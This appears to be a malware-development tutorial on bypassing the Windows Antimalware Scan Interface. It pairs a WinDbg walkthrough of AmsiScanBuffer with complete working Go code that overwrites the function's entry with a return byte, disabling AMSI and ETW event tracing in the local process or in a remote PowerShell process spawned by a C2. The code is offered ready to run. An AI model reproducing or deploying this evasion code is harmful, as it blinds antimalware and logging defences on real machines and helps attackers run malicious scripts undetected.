5. AMSI Bypass

#amsi #amsibypass #golang #maldev #malwaredevelopment

The Windows Antimalware Scan Interface (AMSI) is a versatile interface standard that allows your applications and services to integrate with any antimalware product that's present on a machine. AMSI provides enhanced malware protection for your end-users and their data, applications, and workloads.

The AMSI feature is integrated into these components of Windows 10.

  • User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)

  • PowerShell (scripts, interactive use, and dynamic code evaluation)

  • Windows Script Host (wscript.exe and cscript.exe)

  • JavaScript and VBScript

  • Office VBA macros

Example

So how does the above actually look like in real life? PowerShell will let us know when something is flagged as malicious by amsi. So let's send the string "AmsiScanBuffer" that is known to be flagged as malicious.

We then run our bypass code to see what's the effect.

After running the amsi bypass code, we send the "AmsiScanBuffer" string again but the second time instead of getting the same message that our script is malicious we get "CommandNotFoundException". We successfully bypassed AMSI.

Area of focus

Microsoft is kind enough to document some of the exposed APIs in "amsi.dll". The AmsiResultIsMalware page mentions that the AMSI_RESULT is returned by AmsiScanBuffer or AmsiScanString. We therefore turn our focus to these two functions.

Dumping amsi.dll in IDA shows that AmsiScanString is a wrapper function for AmsiScanBuffer. So to completely bypass amsi all we need to do is to patch AmsiScanBuffer.

Let's Have a quick look at the function definition by microsoft

HRESULT AmsiScanBuffer(
  [in]           HAMSICONTEXT amsiContext,
  [in]           PVOID        buffer,
  [in]           ULONG        length,
  [in]           LPCWSTR      contentName,
  [in, optional] HAMSISESSION amsiSession,
  [out]          AMSI_RESULT  *result
);

What we care about is the last argument where the AMSI_RESULT is stored. In the remarks section it is stated "Any return result equal to or larger than 32768 is considered malware, and the content should be blocked. An app should use AmsiResultIsMalware to determine if this is the case."

This leaves us with two options, either manipulate AmsiScanBuffer to return a value less than 32768 or manipulate AmsiResultIsMalware to return that our script is not malicious even if the value is higher than 32768.

Having a quick look in the Exported functions of the dll we can see that AmsiResultIsMalware is not exported.

It is then very difficult to find the exact address of this function. We could calculate the offset from the base address of the dll and then hardcode it in our code, but it would most likely work only against our current version of windows only. Any future changes to the dll will break our bypass code.

How do we get AmsiScanBuffer to return a value lower than 32768?

Let's open windbg to check how we could potentially patch the dll to return a non malicious AMSI_RESULT.

Firstly we set a breakpoint to the entrypoint of the AmsiScanBuffer function using this command: bp amsi!AmsiScanBuffer

We need to find where the result is stored. We can get that from the stack as shown below:

Let's run ipconfig in powershell and check what is the value of AMSI_RESULT at the function entry and when it returns.

0:006> dq 00000001017cea28 L1
00000001`017cea28  00000000`00000000
0:006> pt
amsi!AmsiScanBuffer+0xf5:
00007ff9`7f068355 c3              ret
0:006> dq 00000001017cea28 L1
00000001`017cea28  00000000`00000001

00000001017cea28 is where the result will be stored. When we enter the the AmsiScanBuffer function the value is 0.

Just before the function returns the value is 1.

Let's compare the values when a malicious string is sent.

0:006> dq 00000001017cea28 L1
00000001`017cea28  00000000`00000000
0:006> pt
amsi!AmsiScanBuffer+0xf5:
00007ff9`7f068355 c3              ret
0:006> dq 00000001017cea28 L1
00000001`017cea28  00000000`00008000
0:006> ?00008000
Evaluate expression: 32768 = 00000000`00008000

We can now see that the value 32768 and therefore the value is malicious.

It is clear now that if we return immediately after the function enters the AMSI_RESULT will be 0. This value will be anomalous since the minimum value of AMSI_RESULT is 1. But then again 0 is lower than 32768.

Since AmsiResultIsMalware doesn't validate the minimum value, our patch successfully bypasses amsi.

A slightly different approach is used by rastamouse. I would suggest reading his article on how to patch amsi.

Writing the Patch

The hex equivalent of return is c3 . We will write the address at the entry point of the function. The approach is similar to the one of process injection & shellcode runner.

Patching the current process.

This is useful when C# code will be running within our golang process for example. See https://github.com/Ne0nd0g/go-clr.

Since patching could be used to patch other functions such as EtwEventWrite a function that receives 2 arguments will be written. The first argument will be the destination address and the second a byte slice that will hold the patch.

// Write a patch locally
func PatchLocal(address uintptr, patch []byte) error {
	// Add write permissions
	var oldprotect uint32
	err := windows.VirtualProtect(address, uintptr(len(patch)), windows.PAGE_EXECUTE_READWRITE, &oldprotect)
	if err != nil {
		return fmt.Errorf("[Error] Failed to change memory permissions for 0x%x: %v", address, err)
	}
	modntdll := syscall.NewLazyDLL("Ntdll.dll")
	procrtlMoveMemory := modntdll.NewProc("RtlMoveMemory")

	// Write Patch
	procrtlMoveMemory.Call(address, uintptr(unsafe.Pointer(&patch[0])), uintptr(len(patch)))
	fmt.Printf("[+] Wrote patch at destination address 0x%x\n", address)

	// Restore memory permissions
	err = windows.VirtualProtect(address, uintptr(len(patch)), oldprotect, &oldprotect)
	if err != nil {
		return fmt.Errorf("[Error] Failed to change memory permissions for 0x%x: %v", address, err)
	}
	return nil
}
  • Line 5: Since the memory address will most likely have RX rights we should first assign write access to that memory using VirtualProtect .

  • Line 13: We then go ahead and call rtlMoveMemory to write our patch to the destination address.

  • Line 17: We then restore the memory permissions using VirtualProtect

The wrapper function to patch AmsiScanBuffer in the current process:

func patchAmsiLocal() error {
	fmt.Println("[+] Patching AmsiScanBuffer -- Local Process")
	amsidll, _ := syscall.LoadLibrary("amsi.dll")
	procAmsiScanBuffer, _ := syscall.GetProcAddress(amsidll, "AmsiScanBuffer")

	patch := []byte{0xc3}
	err := PatchLocal(procAmsiScanBuffer, patch)
	if err != nil {
		return err
	}
	fmt.Println("[SUCCESS] Patched AmsiScanBuffer -- Local Process")
	return nil
}
  • Lines 3-4: we get the address of the function

  • Line 6: We have the return equivalent in hex 0xc3

  • We call our PatchLocal function to write 0xc3 at the beginning of AmsiScanBuffer

Patching remote process

This is useful when a c2 spawns a powershell process and feeds it commands through the c2. The dlls are loaded in the same address in every process on windows. So figuring out the address locally essentially gives us the address we need to patch on the remote process.

Once again we create a function that will receive 3 arguments. First argument will be the PID of the process to patch (in our case powershell) , the destionation address and the patch byte slice.


// Write a patch on a remote process
func PatchRemote(pid uint32, address uintptr, patch []byte) error {

	// Get handle on remote process
	pHandle, err := windows.OpenProcess(
		windows.PROCESS_VM_WRITE|windows.PROCESS_VM_OPERATION,
		false,
		pid)
	if err != nil {
		return fmt.Errorf("[ERROR] Unable to get a handle on process %d, %v", pid, err)
	}

	// Write to process memory
	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(
		pHandle,
		address,
		&patch[0],
		uintptr(len(patch)),
		&numberOfBytesWritten)

	if err != nil {
		return fmt.Errorf("[ERROR] WriteProcessMemory failed, %v", err)
	}
	fmt.Printf("[+] Wrote patch at destination address 0x%x\n", address)

	return nil
}
  • line 6: We get a handle on the remote process

  • line 16: We use WriteProcessMemorywin API to write the patch to the destination address. WriteProcessMemory takes care of the permissions so no need to use VirtualAllocEx to assign write permissions.

The AMSI patching wrapper function is shown below:

func patchAmsiRemote(pid uint32) error {
	fmt.Printf("[+] Patching AmsiScanBuffer -- Remote Process PID: %d \n", pid)
	amsidll, _ := syscall.LoadLibrary("amsi.dll")
	procAmsiScanBuffer, _ := syscall.GetProcAddress(amsidll, "AmsiScanBuffer")
	patch := []byte{0xc3}
	err := PatchRemote(pid, procAmsiScanBuffer, patch)
	if err != nil {
		return err
	}
	fmt.Printf("[SUCCESS] Patched AmsiScanBuffer -- Remote Process PID: %d \n", pid)

	return nil
}

Complete Code:

The code includes functions to patch ETW as well.

package main

import (
	"fmt"
	"log"
	"syscall"
	"unsafe"

	"golang.org/x/sys/windows"
)

func main() {
	pid := uint32(9452)

	err := patchAmsiRemote(pid)
	if err != nil {
		log.Fatalf("%v", err)
	}

}

func patchAmsiLocal() error {
	fmt.Println("[+] Patching AmsiScanBuffer -- Local Process")
	amsidll, _ := syscall.LoadLibrary("amsi.dll")
	procAmsiScanBuffer, _ := syscall.GetProcAddress(amsidll, "AmsiScanBuffer")

	patch := []byte{0xc3}
	err := PatchLocal(procAmsiScanBuffer, patch)
	if err != nil {
		return err
	}
	fmt.Println("[SUCCESS] Patched AmsiScanBuffer -- Local Process")
	return nil
}

func patchEtwLocal() error {
	fmt.Println("[+] Patching EtwEventWrite -- Local Process")
	ntdll, _ := syscall.LoadLibrary("ntdll.dll")
	procEtwEventWrite, _ := syscall.GetProcAddress(ntdll, "EtwEventWrite")
	patch := []byte{0xC3}
	err := PatchLocal(procEtwEventWrite, patch)
	if err != nil {
		return err
	}
	fmt.Println("[SUCCESS] Patched EtwEventWrite -- Local Process")
	return nil
}

func patchAmsiRemote(pid uint32) error {
	fmt.Printf("[+] Patching AmsiScanBuffer -- Remote Process PID: %d \n", pid)
	amsidll, _ := syscall.LoadLibrary("amsi.dll")
	procAmsiScanBuffer, _ := syscall.GetProcAddress(amsidll, "AmsiScanBuffer")
	patch := []byte{0xc3}
	err := PatchRemote(pid, procAmsiScanBuffer, patch)
	if err != nil {
		return err
	}
	fmt.Printf("[SUCCESS] Patched AmsiScanBuffer -- Remote Process PID: %d \n", pid)

	return nil
}

func patchEtwRemote(pid uint32) error {
	fmt.Printf("[+] Patching EtwEventWrite -- Remote Process PID: %d \n", pid)
	ntdll, _ := syscall.LoadLibrary("ntdll.dll")
	procEtwEventWrite, _ := syscall.GetProcAddress(ntdll, "EtwEventWrite")
	patch := []byte{0xC3}
	err := PatchRemote(pid, procEtwEventWrite, patch)
	if err != nil {
		return err
	}
	fmt.Printf("[SUCCESS] Patched EtwEventWrite -- Remote Process PID: %d \n", pid)
	return nil
}

// Write a patch locally
func PatchLocal(address uintptr, patch []byte) error {
	// Add write permissions
	var oldprotect uint32
	err := windows.VirtualProtect(address, uintptr(len(patch)), windows.PAGE_EXECUTE_READWRITE, &oldprotect)
	if err != nil {
		return fmt.Errorf("[Error] Failed to change memory permissions for 0x%x: %v", address, err)
	}
	modntdll := syscall.NewLazyDLL("Ntdll.dll")
	procrtlMoveMemory := modntdll.NewProc("RtlMoveMemory")

	// Write Patch
	procrtlMoveMemory.Call(address, uintptr(unsafe.Pointer(&patch[0])), uintptr(len(patch)))
	fmt.Printf("[+] Wrote patch at destination address 0x%x\n", address)

	// Restore memory permissions
	err = windows.VirtualProtect(address, uintptr(len(patch)), oldprotect, &oldprotect)
	if err != nil {
		return fmt.Errorf("[Error] Failed to change memory permissions for 0x%x: %v", address, err)
	}
	return nil
}

// Write a patch on a remote process
func PatchRemote(pid uint32, address uintptr, patch []byte) error {

	// Get handle on remote process
	pHandle, err := windows.OpenProcess(
		windows.PROCESS_VM_WRITE|windows.PROCESS_VM_OPERATION,
		false,
		pid)
	if err != nil {
		return fmt.Errorf("[ERROR] Unable to get a handle on process %d, %v", pid, err)
	}

	// Write to process memory
	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(
		pHandle,
		address,
		&patch[0],
		uintptr(len(patch)),
		&numberOfBytesWritten)

	if err != nil {
		return fmt.Errorf("[ERROR] WriteProcessMemory failed, %v", err)
	}
	fmt.Printf("[+] Wrote patch at destination address 0x%x\n", address)

	return nil
}

Last updated